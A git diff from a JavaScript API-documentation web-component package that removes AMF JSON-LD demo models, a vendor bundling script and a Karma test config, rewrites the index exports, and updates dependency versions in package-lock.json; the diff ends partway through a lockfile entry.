"objectProperty2" - }, - "shacl:minCount": 1, - "shacl:name": "objectProperty2", - "shacl:path": { - "@id": "http://a.ml/vocabularies/data#objectProperty2" - } - }, - { - "@id": "#93", - "@type": "shacl:PropertyShape", - "raml-shapes:range": { - "@id": "#94", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ScalarShape" - ], - "shacl:datatype": { - "@id": "http://www.w3.org/2001/XMLSchema#string" - }, - "shacl:name": "objectProperty1" - }, - "shacl:minCount": 1, - "shacl:name": "objectProperty1", - "shacl:path": { - "@id": "http://a.ml/vocabularies/data#objectProperty1" - } - } - ] - }, - "schema-org:name": "objectParameter", - "hydra:required": false - }, - { - "@id": "#80", - "@type": "http:Parameter", - "http:binding": "query", - "http:paramName": "stringParameter", - "http:schema": { - "@id": "#81", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ScalarShape" - ], - "shacl:datatype": { - "@id": "http://www.w3.org/2001/XMLSchema#string" - }, - "shacl:name": "schema" - }, - "schema-org:name": "stringParameter", - "hydra:required": true - } - ] - }, - "hydra:method": "get", - "hydra:returns": { - "@id": "#112", - "@type": "http:Response", - "http:payload": { - "@id": "#113", - "@type": "http:Payload", - "http:mediaType": "application/json", - "http:schema": { - "@id": "#37", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "shacl:NodeShape" - ], - "shacl:closed": false, - "shacl:name": "User", - "shacl:property": [ - { - "@id": "#44", - "@type": "shacl:PropertyShape", - "raml-shapes:range": { - "@id": "#12", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "shacl:NodeShape" - ], - "doc:examples": { - "@id": "#17", - "@type": [ - "doc:DomainElement", - "doc:Example" - ], - "doc:strict": true, - "doc:structuredValue": { - "@id": "#18", - "@type": "http://a.ml/vocabularies/data#Object", - "http://a.ml/vocabularies/data#number": { - "@id": "#19" - }, - "http://a.ml/vocabularies/data#street": { - "@id": "#20" - } - }, - "shacl:raw": "\n number: 20\n street: Pepe\n" - }, - "shacl:closed": false, - "shacl:name": "Address", - "shacl:property": [ - { - "@id": "#15", - "@type": "shacl:PropertyShape", - "raml-shapes:range": { - "@id": "#16", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ScalarShape" - ], - "shacl:datatype": { - "@id": "raml-shapes:number" - }, - "shacl:maxInclusive": 99999999, - "shacl:minInclusive": 1, - "shacl:name": "number" - }, - "shacl:minCount": 1, - "shacl:name": "number", - "shacl:path": { - "@id": "http://a.ml/vocabularies/data#number" - } - }, - { - "@id": "#13", - "@type": "shacl:PropertyShape", - "raml-shapes:range": { - "@id": "#14", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ScalarShape" - ], - "shacl:datatype": { - "@id": "http://www.w3.org/2001/XMLSchema#string" - }, - "shacl:name": "street" - }, - "shacl:minCount": 1, - "shacl:name": "street", - "shacl:path": { - "@id": "http://a.ml/vocabularies/data#street" - } - } - ] - }, - "shacl:minCount": 1, - "shacl:name": "address", - "shacl:path": { - "@id": "http://a.ml/vocabularies/data#address" - } - }, - { - "@id": "#38", - "@type": "shacl:PropertyShape", - "raml-shapes:range": { - "@id": "#39", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ScalarShape" - ], - "shacl:datatype": { - "@id": "http://www.w3.org/2001/XMLSchema#string" - }, - "shacl:maxLength": 50, - "shacl:name": "name" - }, - "shacl:minCount": 1, - "shacl:name": "name", - "shacl:path": { - "@id": "http://a.ml/vocabularies/data#name" - } - }, - { - "@id": "#42", - "@type": "shacl:PropertyShape", - "raml-shapes:range": { - "@id": "#43", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ScalarShape" - ], - "shacl:datatype": { - "@id": "http://www.w3.org/2001/XMLSchema#date" - }, - "shacl:name": "birthday" - }, - "shacl:minCount": 1, - "shacl:name": "birthday", - "shacl:path": { - "@id": "http://a.ml/vocabularies/data#birthday" - } - }, - { - "@id": "#45", - "@type": "shacl:PropertyShape", - "raml-shapes:range": { - "@id": "#46", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ScalarShape" - ], - "shacl:datatype": { - "@id": "http://www.w3.org/2001/XMLSchema#string" - }, - "shacl:in": { - "@id": "#46/list", - "@type": "http://www.w3.org/2000/01/rdf-schema#Seq", - "http://www.w3.org/2000/01/rdf-schema#_1": { - "@id": "#47", - "@type": "http://a.ml/vocabularies/data#Scalar", - "http://a.ml/vocabularies/data#value": "Admin" - }, - "http://www.w3.org/2000/01/rdf-schema#_2": { - "@id": "#48", - "@type": "http://a.ml/vocabularies/data#Scalar", - "http://a.ml/vocabularies/data#value": "User" - }, - "http://www.w3.org/2000/01/rdf-schema#_3": { - "@id": "#49", - "@type": "http://a.ml/vocabularies/data#Scalar", - "http://a.ml/vocabularies/data#value": "System" - } - }, - "shacl:name": "type" - }, - "shacl:minCount": 0, - "shacl:name": "type", - "shacl:path": { - "@id": "http://a.ml/vocabularies/data#type" - } - }, - { - "@id": "#40", - "@type": "shacl:PropertyShape", - "raml-shapes:range": { - "@id": "#41", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ScalarShape" - ], - "shacl:datatype": { - "@id": "http://www.w3.org/2001/XMLSchema#string" - }, - "shacl:minLength": 10, - "shacl:name": "password" - }, - "shacl:minCount": 1, - "shacl:name": "password", - "shacl:path": { - "@id": "http://a.ml/vocabularies/data#password" - } - } - ] - } - }, - "schema-org:description": "asd", - "schema-org:name": "200", - "hydra:statusCode": "200" - } - } - ], - "@context": { - "@base": "amf://id", - "hydra": "http://www.w3.org/ns/hydra/core#", - "shacl": "http://www.w3.org/ns/shacl#", - "doc": "http://a.ml/vocabularies/document#", - "schema-org": "http://schema.org/", - "http": "http://a.ml/vocabularies/http#", - "raml-shapes": "http://a.ml/vocabularies/shapes#", - "smap": "http://a.ml/vocabularies/document-source-maps" - } -} diff --git a/demo/partial-model/security.json b/demo/partial-model/security.json deleted file mode 100644 index 33cd84b..0000000 --- a/demo/partial-model/security.json +++ /dev/null @@ -1,69 +0,0 @@ -{ - "@id": "#55", - "@type": "http://a.ml/vocabularies/security#SecurityScheme", - "http://a.ml/vocabularies/security#name": "auth", - "http://a.ml/vocabularies/security#settings": { - "@id": "#56", - "@type": [ - "http://a.ml/vocabularies/security#Settings", - "http://a.ml/vocabularies/security#OAuth1Settings" - ], - "http://a.ml/vocabularies/security#additionalProperties": { - "@id": "#57", - "@type": "http://a.ml/vocabularies/data#Object", - "http://a.ml/vocabularies/data#accessTokenUri": { - "@id": "#58", - "@type": "http://a.ml/vocabularies/data#Scalar", - "http://a.ml/vocabularies/data#value": "https://authserver.example/token" - }, - "http://a.ml/vocabularies/data#authorizationGrants": { - "@id": "#59", - "@type": [ - "http://www.w3.org/1999/02/22-rdf-syntax-ns#Seq", - "http://a.ml/vocabularies/data#Array" - ], - "http://a.ml/vocabularies/data#pos0": { - "@id": "#60" - }, - "http://www.w3.org/1999/02/22-rdf-syntax-ns#member": { - "@id": "#60", - "@type": "http://a.ml/vocabularies/data#Scalar", - "http://a.ml/vocabularies/data#value": "client_credentials" - } - }, - "http://a.ml/vocabularies/data#scopes": { - "@id": "#61", - "@type": [ - "http://www.w3.org/1999/02/22-rdf-syntax-ns#Seq", - "http://a.ml/vocabularies/data#Array" - ], - "http://a.ml/vocabularies/data#pos0": { - "@id": "#62" - }, - "http://www.w3.org/1999/02/22-rdf-syntax-ns#member": { - "@id": "#62", - "@type": "http://a.ml/vocabularies/data#Scalar", - "http://a.ml/vocabularies/data#value": "accounts" - } - } - }, - "http://a.ml/vocabularies/security#authorizationUri": "", - "http://a.ml/vocabularies/security#requestTokenUri": "requestTokenUriValue", - "http://a.ml/vocabularies/security#signature": [ - "signature2", - "signature1" - ], - "http://a.ml/vocabularies/security#tokenCredentialsUri": "tokenCredentialsUriValue" - }, - "http://a.ml/vocabularies/security#type": "OAuth 1.0", - "@context": { - "@base": "amf://id", - "hydra": "http://www.w3.org/ns/hydra/core#", - "shacl": "http://www.w3.org/ns/shacl#", - "doc": "http://a.ml/vocabularies/document#", - "schema-org": "http://schema.org/", - "http": "http://a.ml/vocabularies/http#", - "raml-shapes": "http://a.ml/vocabularies/shapes#", - "smap": "http://a.ml/vocabularies/document-source-maps" - } -} diff --git a/demo/partial-model/type.json b/demo/partial-model/type.json deleted file mode 100644 index 77ebe23..0000000 --- a/demo/partial-model/type.json +++ /dev/null @@ -1,91 +0,0 @@ -{ - "@id": "#12", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "shacl:NodeShape" - ], - "doc:examples": { - "@id": "#17", - "@type": [ - "doc:DomainElement", - "doc:Example" - ], - "doc:strict": true, - "doc:structuredValue": { - "@id": "#18", - "@type": "http://a.ml/vocabularies/data#Object", - "http://a.ml/vocabularies/data#number": { - "@id": "#19", - "@type": "http://a.ml/vocabularies/data#Scalar", - "http://a.ml/vocabularies/data#value": 20 - }, - "http://a.ml/vocabularies/data#street": { - "@id": "#20", - "@type": "http://a.ml/vocabularies/data#Scalar", - "http://a.ml/vocabularies/data#value": "Pepe" - } - }, - "shacl:raw": "\n number: 20\n street: Pepe\n" - }, - "shacl:closed": false, - "shacl:name": "Address", - "shacl:property": [{ - "@id": "#15", - "@type": "shacl:PropertyShape", - "raml-shapes:range": { - "@id": "#16", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ScalarShape" - ], - "shacl:datatype": { - "@id": "raml-shapes:number" - }, - "shacl:maxInclusive": 99999999, - "shacl:minInclusive": 1, - "shacl:name": "number" - }, - "shacl:minCount": 1, - "shacl:name": "number", - "shacl:path": { - "@id": "http://a.ml/vocabularies/data#number" - } - }, - { - "@id": "#13", - "@type": "shacl:PropertyShape", - "raml-shapes:range": { - "@id": "#14", - "@type": [ - "doc:DomainElement", - "raml-shapes:Shape", - "shacl:Shape", - "raml-shapes:ScalarShape" - ], - "shacl:datatype": { - "@id": "http://www.w3.org/2001/XMLSchema#string" - }, - "shacl:name": "street" - }, - "shacl:minCount": 1, - "shacl:name": "street", - "shacl:path": { - "@id": "http://a.ml/vocabularies/data#street" - } - } - ], - "@context": { - "@base": "amf://id", - "hydra": "http://www.w3.org/ns/hydra/core#", - "shacl": "http://www.w3.org/ns/shacl#", - "doc": "http://a.ml/vocabularies/document#", - "schema-org": "http://schema.org/", - "http": "http://a.ml/vocabularies/http#", - "raml-shapes": "http://a.ml/vocabularies/shapes#", - "smap": "http://a.ml/vocabularies/document-source-maps" - } -} diff --git a/demo/prepare.js b/demo/prepare.js deleted file mode 100644 index 5a229c5..0000000 --- a/demo/prepare.js +++ /dev/null @@ -1,43 +0,0 @@ -const UglifyJS = require('uglify-js'); -const fs = require('fs-extra'); -const path = require('path'); - -const CryptoFiles = [ - 'cryptojslib/components/core.js', - 'cryptojslib/components/sha1.js', - 'cryptojslib/components/enc-base64.js', - 'cryptojslib/components/md5.js', - 'jsrsasign/lib/jsrsasign-rsa-min.js', -]; - -const CmFiles = [ - 'jsonlint/web/jsonlint.js', - 'codemirror/lib/codemirror.js', - 'codemirror/addon/mode/loadmode.js', - 'codemirror/mode/meta.js', - 'codemirror/mode/javascript/javascript.js', - 'codemirror/mode/xml/xml.js', - 'codemirror/mode/yaml/yaml.js', - 'codemirror/mode/htmlmixed/htmlmixed.js', - 'codemirror/addon/lint/lint.js', - 'codemirror/addon/lint/json-lint.js', -]; - -async function prepareDemo() { - const code = {}; - for (let i = 0, len = CryptoFiles.length; i < len; i++) { - const file = CryptoFiles[i]; - const full = require.resolve(file); - code[file] = await fs.readFile(full, 'utf8'); - } - for (let i = 0, len = CmFiles.length; i < len; i++) { - const file = CmFiles[i]; - const full = require.resolve(file); - code[file] = await fs.readFile(full, 'utf8'); - } - - const result = UglifyJS.minify(code); - await fs.writeFile(path.join('demo', 'vendor.js'), result.code, 'utf8'); -} - -prepareDemo(); diff --git a/index.d.ts b/index.d.ts index 1019cb6..aa7b3e9 100644 --- a/index.d.ts +++ b/index.d.ts @@ -1 +1,12 @@ -export { ApiDocumentationElement } from './src/ApiDocumentationElement'; +export { default as ApiOperationDocumentElement } from './src/elements/ApiOperationDocumentElement'; +export { default as ApiParameterDocumentElement } from './src/elements/ApiParameterDocumentElement'; +export { default as ApiPayloadDocumentElement } from './src/elements/ApiPayloadDocumentElement'; +export { default as ApiRequestDocumentElement } from './src/elements/ApiRequestDocumentElement'; +export { default as ApiResourceDocumentationElement } from './src/elements/ApiResourceDocumentationElement'; +export { default as ApiResponseDocumentElement } from './src/elements/ApiResponseDocumentElement'; +export { default as ApiSchemaDocumentElement } from './src/elements/ApiSchemaDocumentElement'; +export { default as ApiDocumentationDocumentElement } from './src/elements/ApiDocumentationDocumentElement'; +export { default as ApiChannelDocumentationElement } from './src/elements/ApiChannelDocumentationElement'; +export { default as ApiAnnotationDocumentElement } from './src/elements/ApiAnnotationDocumentElement'; +export { default as ApiSummaryElement } from './src/elements/ApiSummaryElement'; +export * as Utils from './src/lib/Utils'; diff --git a/index.js b/index.js index ccab108..9b9f8e0 100644 --- a/index.js +++ b/index.js @@ -1 +1,12 @@ -export { ApiDocumentationElement } from './src/ApiDocumentationElement.js'; +export { default as ApiOperationDocumentElement } from './src/elements/ApiOperationDocumentElement.js'; +export { default as ApiParameterDocumentElement } from './src/elements/ApiParameterDocumentElement.js'; +export { default as ApiPayloadDocumentElement } from './src/elements/ApiPayloadDocumentElement.js'; +export { default as ApiRequestDocumentElement } from './src/elements/ApiRequestDocumentElement.js'; +export { default as ApiResourceDocumentationElement } from './src/elements/ApiResourceDocumentationElement.js'; +export { default as ApiResponseDocumentElement } from './src/elements/ApiResponseDocumentElement.js'; +export { default as ApiSchemaDocumentElement } from './src/elements/ApiSchemaDocumentElement.js'; +export { default as ApiDocumentationDocumentElement } from './src/elements/ApiDocumentationDocumentElement.js'; +export { default as ApiChannelDocumentationElement } from './src/elements/ApiChannelDocumentationElement.js'; +export { default as ApiAnnotationDocumentElement } from './src/elements/ApiAnnotationDocumentElement.js'; +export { default as ApiSummaryElement } from './src/elements/ApiSummaryElement.js'; +export * as Utils from './src/lib/Utils.js'; diff --git a/karma.conf.js b/karma.conf.js deleted file mode 100644 index 79dd899..0000000 --- a/karma.conf.js +++ /dev/null @@ -1,109 +0,0 @@ -/* eslint-disable import/no-extraneous-dependencies */ -const { createDefaultConfig } = require('@open-wc/testing-karma'); -const merge = require('deepmerge'); - -module.exports = (config) => { - config.set( - merge(createDefaultConfig(config), { - files: [ - // runs all files ending with .test in the test folder, - // can be overwritten by passing a --grep flag. examples: - // - // npm run test -- --grep test/foo/bar.test.js - // npm run test -- --grep test/bar/* - { - pattern: config.grep ? config.grep : 'test/**/*.test.js', - type: 'module' - }, - { - pattern: 'node_modules/cryptojslib/components/core.js', - type: 'js' - }, - { - pattern: 'node_modules/cryptojslib/rollups/sha1.js', - type: 'js' - }, - { - pattern: 'node_modules/cryptojslib/components/enc-base64-min.js', - type: 'js' - }, - { - pattern: 'node_modules/cryptojslib/rollups/md5.js', - type: 'js' - }, - { - pattern: 'node_modules/cryptojslib/rollups/hmac-sha1.js', - type: 'js' - }, - { - pattern: 'node_modules/jsrsasign/lib/jsrsasign-rsa-min.js', - type: 'js' - }, - { - pattern: 'node_modules/jsonlint/lib/jsonlint.js', - type: 'js' - }, - { - pattern: 'node_modules/codemirror/lib/codemirror.js', - type: 'js' - }, - { - pattern: 'node_modules/codemirror/addon/mode/loadmode.js', - type: 'js' - }, - { - pattern: 'node_modules/codemirror/mode/meta.js', - type: 'js' - }, - { - pattern: 'node_modules/codemirror/mode/javascript/javascript.js', - type: 'js' - }, - { - pattern: 'node_modules/codemirror/mode/xml/xml.js', - type: 'js' - }, - { - pattern: 'node_modules/codemirror/mode/htmlmixed/htmlmixed.js', - type: 'js' - }, - { - pattern: 'node_modules/codemirror/mode/markdown/markdown.js', - type: 'js' - }, - { - pattern: 'node_modules/codemirror/addon/lint/lint.js', - type: 'js' - }, - { - pattern: 'node_modules/codemirror/addon/lint/json-lint.js', - type: 'js' - } - ], - - // see the karma-esm docs for all options - esm: { - // if you are using 'bare module imports' you will need this option - nodeResolve: true - }, - - client: { - mocha: { - timeout: 5000 - } - }, - - coverageIstanbulReporter: { - thresholds: { - global: { - statements: 75, - branches: 65, - functions: 85, - lines: 75 - } - } - }, - }) - ); - return config; -}; diff --git a/package-lock.json b/package-lock.json index 55f89e4..ef9c825 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,6 +1,6 @@ { "name": "@api-components/api-documentation", - "version": "6.0.5", + "version": "7.0.0-beta.1", "lockfileVersion": 1, "requires": true, "dependencies": { @@ -32,35 +32,35 @@ "integrity": "sha512-AbnR14AdFwlVSqWF83senQVM5JjllBoRq5uCGBGw8gLhIXylG+nlk+9sOLlpWCeAaxYiiGGqw/Lw4Ke57xf6Hw==" }, "@advanced-rest-client/arc-demo-helper": { - "version": "2.2.6", - "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-demo-helper/-/arc-demo-helper-2.2.6.tgz", - "integrity": "sha512-xNJ+253nZUY85/xCJtli7TntmniMXwGklOw9AFQj3UA8TDulT1eTA815z7GdaLzoKfVI7+lGBE+Kvl2kwfe/NQ==", + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-demo-helper/-/arc-demo-helper-3.0.3.tgz", + "integrity": "sha512-Myb1bTyQYFRo2LhGUG8esudRiLRLlVybVQcZBQI1nX9YnsAN6a8OCki93vK64Lxd4ZbkcJH5eqpQN/xGeBIhWw==", "dev": true, "requires": { - "@advanced-rest-client/arc-icons": "^3.2.2", - "@anypoint-web-components/anypoint-button": "^1.2.0", - "@anypoint-web-components/anypoint-dropdown-menu": "^0.1.20", - "@anypoint-web-components/anypoint-item": "^1.1.0", - "@anypoint-web-components/anypoint-listbox": "^1.1.6", - "@anypoint-web-components/anypoint-menu-button": "^0.1.4", - "@anypoint-web-components/anypoint-switch": "^0.1.4", - "@anypoint-web-components/anypoint-tabs": "^0.1.12", - "@api-components/amf-helper-mixin": "^4.3.4", - "@api-components/api-navigation": "^4.2.4", + "@advanced-rest-client/arc-icons": "^3.3.4", + "@anypoint-web-components/anypoint-button": "^1.2.3", + "@anypoint-web-components/anypoint-dropdown-menu": "^0.1.21", + "@anypoint-web-components/anypoint-item": "^1.1.2", + "@anypoint-web-components/anypoint-listbox": "^1.1.7", + "@anypoint-web-components/anypoint-menu-button": "^0.1.5", + "@anypoint-web-components/anypoint-switch": "^0.1.10", + "@anypoint-web-components/anypoint-tabs": "^0.1.19", + "@api-components/amf-helper-mixin": "^4.5.4", + "@api-components/api-navigation": "^4.3.2", "@api-components/raml-aware": "^3.0.0", "@open-wc/dedupe-mixin": "^1.3.0", "@polymer/font-roboto": "^3.0.2", - "lit-element": "^2.4.0", - "lit-html": "^1.3.0", - "prismjs": "^1.23.0" + "lit-element": "^2.5.1", + "lit-html": "^1.4.1", + "prismjs": "^1.25.0" } }, "@advanced-rest-client/arc-events": { - "version": "0.2.20", - "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-events/-/arc-events-0.2.20.tgz", - "integrity": "sha512-FomNssV4hCbxtPogZXXVIdPkiEzFmPVUOHzaH8K98Pvz5T20+iwvzqwbaA3fExJKekGwcwRSg7e/ppFmhIQtkg==", + "version": "0.2.21", + "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-events/-/arc-events-0.2.21.tgz", + "integrity": "sha512-pxwE/zN/URuOP3R6OMDs/3wgWVD5I+jKwSS0Ku5qQuE6MN7JqJh/w/n8TBUrrdcFM4pVlAIrhaIbjVQ9S1395A==", "requires": { - "@advanced-rest-client/arc-types": "^0.2.57" + "@advanced-rest-client/arc-types": "^0.2.61" } }, "@advanced-rest-client/arc-fit-mixin": { @@ -93,23 +93,12 @@ } }, "@advanced-rest-client/arc-icons": { - "version": "3.3.3", - "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-icons/-/arc-icons-3.3.3.tgz", - "integrity": "sha512-bmiVGfNo463p2cb1Mvy2KF5QvUV/dL0JG+H6AivYJdNNFTeEAt5a2s+K/QkWHCLPAK/gKdgyrUxBZtxRIguJ1A==", - "requires": { - "lit-element": "^2.4.0", - "lit-html": "^1.3.0" - } - }, - "@advanced-rest-client/arc-marked": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-marked/-/arc-marked-1.1.2.tgz", - "integrity": "sha512-YHi4aGGh8XFjLi4N0szqOBmtGiC6wn+UCB5josEhAP/oVwlRnWxSCNenwjvpINO+RJ8Dr09Ed5dVMGS/wz4yCw==", + "version": "3.3.4", + "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-icons/-/arc-icons-3.3.4.tgz", + "integrity": "sha512-kISi0kToB2Eqem21miPZoyJ2eSwqvtZQClt93pPP/LrRyuQHjWNp38bOLW6tFExmn6aTFYZK9v3X++lXZ3fqIg==", "requires": { - "dompurify": "^2.2.9", "lit-element": "^2.5.1", - "lit-html": "^1.4.1", - "marked": "^0.7.0" + "lit-html": "^1.4.1" } }, "@advanced-rest-client/arc-models": { @@ -159,30 +148,30 @@ } }, "@advanced-rest-client/arc-response": { - "version": "0.3.6", - "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-response/-/arc-response-0.3.6.tgz", - "integrity": "sha512-6B6ZVqdit33a+z79BrzJEQxw/12TlgbHJJkNUd70uI+SytGNjpPVI3933oYPAhD4WyM4gl77uokhnFwCBo+xWA==", + "version": "0.3.7", + "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-response/-/arc-response-0.3.7.tgz", + "integrity": "sha512-nRHydp0JRVFyji3SpqAWT6SgbbOxvuAzPIdeSCoAf7a9UxDDmRhXpPaBhELnHJ/NgLBGHp447I6xisFxevt8sA==", "requires": { - "@advanced-rest-client/arc-events": "^0.2.17", + "@advanced-rest-client/arc-events": "^0.2.21", "@advanced-rest-client/arc-headers": "^0.1.10", - "@advanced-rest-client/arc-icons": "^3.3.3", - "@advanced-rest-client/arc-types": "^0.2.53", + "@advanced-rest-client/arc-icons": "^3.3.4", + "@advanced-rest-client/arc-types": "^0.2.61", "@advanced-rest-client/date-time": "^3.0.2", - "@anypoint-web-components/anypoint-button": "^1.2.1", + "@anypoint-web-components/anypoint-button": "^1.2.3", "@anypoint-web-components/anypoint-item": "^1.1.2", "@anypoint-web-components/anypoint-listbox": "^1.1.7", "@anypoint-web-components/anypoint-menu-button": "^0.1.5", - "@api-client/har": "^0.2.0", + "@api-client/har": "^0.2.1", "@polymer/paper-progress": "^3.0.0", "lit-element": "^2.5.1", "lit-html": "^1.4.1", - "prismjs": "^1.24.1" + "prismjs": "^1.25.0" } }, "@advanced-rest-client/arc-types": { - "version": "0.2.59", - "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-types/-/arc-types-0.2.59.tgz", - "integrity": "sha512-a7A0JQ6Bk99i7EVPkbAaM7RlvTkqAzjbDSbUuwMCfsRFSRjuXz+YG3pnCYG8zPpaGlJHVGf47kFIpXbd1LBtLg==" + "version": "0.2.61", + "resolved": "https://registry.npmjs.org/@advanced-rest-client/arc-types/-/arc-types-0.2.61.tgz", + "integrity": "sha512-7PmKth7cpPKmRI3psl0iaZ8jbqHhJFJaBM5tXeQoCycmykbwiBUQrgZZar4mL9BQaOzbPZ9VhGPk/zbB4TPk3g==" }, "@advanced-rest-client/arc-url": { "version": "0.2.2", @@ -209,28 +198,29 @@ } }, "@advanced-rest-client/authorization": { - "version": "0.1.5", - "resolved": "https://registry.npmjs.org/@advanced-rest-client/authorization/-/authorization-0.1.5.tgz", - "integrity": "sha512-+M4ANBaAdZPUVohqlud+Hg3IQnpemEGhA/owexnpatxcpID6CvkqRcNKveXeJqxlpVvOnGrLYu9BeS/woVMKDg==", + "version": "0.2.3", + "resolved": "https://registry.npmjs.org/@advanced-rest-client/authorization/-/authorization-0.2.3.tgz", + "integrity": "sha512-+oBAKorQ0iA1IwHML1xVU5P7XlIdYtydJ1ny8/RBAGt6wYOTwtiT1xfQAT3JHiUbthkgqSt47XC7FrXRozzyvQ==", "requires": { - "@advanced-rest-client/arc-events": "^0.2.17", + "@advanced-rest-client/arc-events": "^0.2.20", "@advanced-rest-client/arc-headers": "^0.1.10", "@advanced-rest-client/arc-icons": "^3.3.0", - "@advanced-rest-client/arc-types": "^0.2.53", + "@advanced-rest-client/arc-types": "^0.2.58", "@advanced-rest-client/clipboard-copy": "^3.0.1", "@advanced-rest-client/events-target-mixin": "^3.2.4", - "@anypoint-web-components/anypoint-autocomplete": "^0.2.10", - "@anypoint-web-components/anypoint-button": "^1.2.2", - "@anypoint-web-components/anypoint-checkbox": "^1.2.1", + "@anypoint-web-components/anypoint-autocomplete": "^0.2.12", + "@anypoint-web-components/anypoint-button": "^1.2.3", + "@anypoint-web-components/anypoint-checkbox": "^1.2.2", "@anypoint-web-components/anypoint-control-mixins": "^1.2.0", "@anypoint-web-components/anypoint-dialog": "^0.1.7", "@anypoint-web-components/anypoint-dropdown-menu": "^0.1.21", "@anypoint-web-components/anypoint-input": "^0.2.27", "@anypoint-web-components/anypoint-item": "^1.1.2", "@anypoint-web-components/anypoint-listbox": "^1.1.7", - "@anypoint-web-components/anypoint-selector": "^1.1.7", + "@anypoint-web-components/anypoint-selector": "^1.1.8", "@anypoint-web-components/anypoint-switch": "^0.1.10", "@anypoint-web-components/validatable-mixin": "^1.1.3", + "@github/time-elements": "^3.1.2", "@open-wc/dedupe-mixin": "^1.3.0", "lit-element": "^2.5.1", "lit-html": "^1.4.1" @@ -285,28 +275,6 @@ "lit-element": "^2.4.0" } }, - "@advanced-rest-client/code-mirror-linter": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/@advanced-rest-client/code-mirror-linter/-/code-mirror-linter-3.0.2.tgz", - "integrity": "sha512-jFdQsRztepCvGGRZbKTILeLxJTzycsw5iJ2pf5SmEiQlANOwBqXUp/9KvSkZksck/QnDsZDrJASv1MQ9OnJzhg==", - "requires": { - "codemirror": "^5.58.1", - "jsonlint": "^1.6.3", - "lit-element": "^2.4.0" - } - }, - "@advanced-rest-client/content-type-selector": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/@advanced-rest-client/content-type-selector/-/content-type-selector-3.2.0.tgz", - "integrity": "sha512-b/Nd5ySX10xAJM+9fAJSfMkU6odMMBWRXS9YA7mPHV9ZBJshYTOSwr5uA5YyFYEC1ercxceamLkeC+XZhTmNcg==", - "requires": { - "@advanced-rest-client/events-target-mixin": "^3.2.3", - "@anypoint-web-components/anypoint-dropdown-menu": "^0.1.20", - "@anypoint-web-components/anypoint-item": "^1.1.0", - "@anypoint-web-components/anypoint-listbox": "^1.1.6", - "lit-element": "^2.4.0" - } - }, "@advanced-rest-client/date-time": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/@advanced-rest-client/date-time/-/date-time-3.0.2.tgz", @@ -320,43 +288,20 @@ "@open-wc/dedupe-mixin": "^1.3.0" } }, - "@advanced-rest-client/files-payload-editor": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/@advanced-rest-client/files-payload-editor/-/files-payload-editor-3.1.0.tgz", - "integrity": "sha512-5NJ3GyJx0eUhxHlzzU8bYsFlugh5LjSWOtECgcIbh1Tcf4w5rdppkV4sILKw0TTeP16peqOq7jlvxV066ZK9eg==", - "requires": { - "@advanced-rest-client/arc-icons": "^3.1.0", - "@anypoint-web-components/anypoint-button": "^1.1.1", - "@anypoint-web-components/validatable-mixin": "^1.1.1", - "lit-element": "^2.3.1" - } - }, - "@advanced-rest-client/form-data-editor": { - "version": "3.0.10", - "resolved": "https://registry.npmjs.org/@advanced-rest-client/form-data-editor/-/form-data-editor-3.0.10.tgz", - "integrity": "sha512-rbQk4CQHLBDhgw+NLVxa6pajC7ztqhblxkun3ov+1wBMmgeqSHMh3ycXL240Nfg98LVoI0YznVwaQsVbonj7iw==", - "requires": { - "@advanced-rest-client/arc-icons": "^3.0.2", - "@advanced-rest-client/arc-marked": "^1.0.4", - "@advanced-rest-client/markdown-styles": "^3.1.0", - "@advanced-rest-client/payload-parser-mixin": "^3.0.0", - "@anypoint-web-components/anypoint-button": "^1.0.12", - "@anypoint-web-components/anypoint-checkbox": "^1.0.1", - "@anypoint-web-components/anypoint-input": "^0.2.5", - "@anypoint-web-components/anypoint-switch": "^0.1.9", - "@anypoint-web-components/validatable-mixin": "^1.0.2", - "@api-components/api-form-mixin": "^3.0.3", - "@api-components/api-property-form-item": "^3.0.9", - "@polymer/iron-form": "^3.0.0", - "lit-element": "^2.2.1" - } - }, - "@advanced-rest-client/headers-parser-mixin": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/@advanced-rest-client/headers-parser-mixin/-/headers-parser-mixin-3.2.0.tgz", - "integrity": "sha512-/kpQtZ4xZGuISolGekDyVO/WLRc/nYCYSpk2FMUbtn1X6mU52xzuVObnCbX4ySCrwjztEpXlu0h3si/UwXqJBw==", + "@advanced-rest-client/highlight": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@advanced-rest-client/highlight/-/highlight-1.1.1.tgz", + "integrity": "sha512-EY/7UvbAzgw76Unz2t/mJbYxLAri+uUnYZeBK0App58YByvCCboA1Je1zUrPuQb+bGUUOT5nbqVl+23H17CoZA==", "requires": { - "@open-wc/dedupe-mixin": "^1.2.17" + "@advanced-rest-client/arc-events": 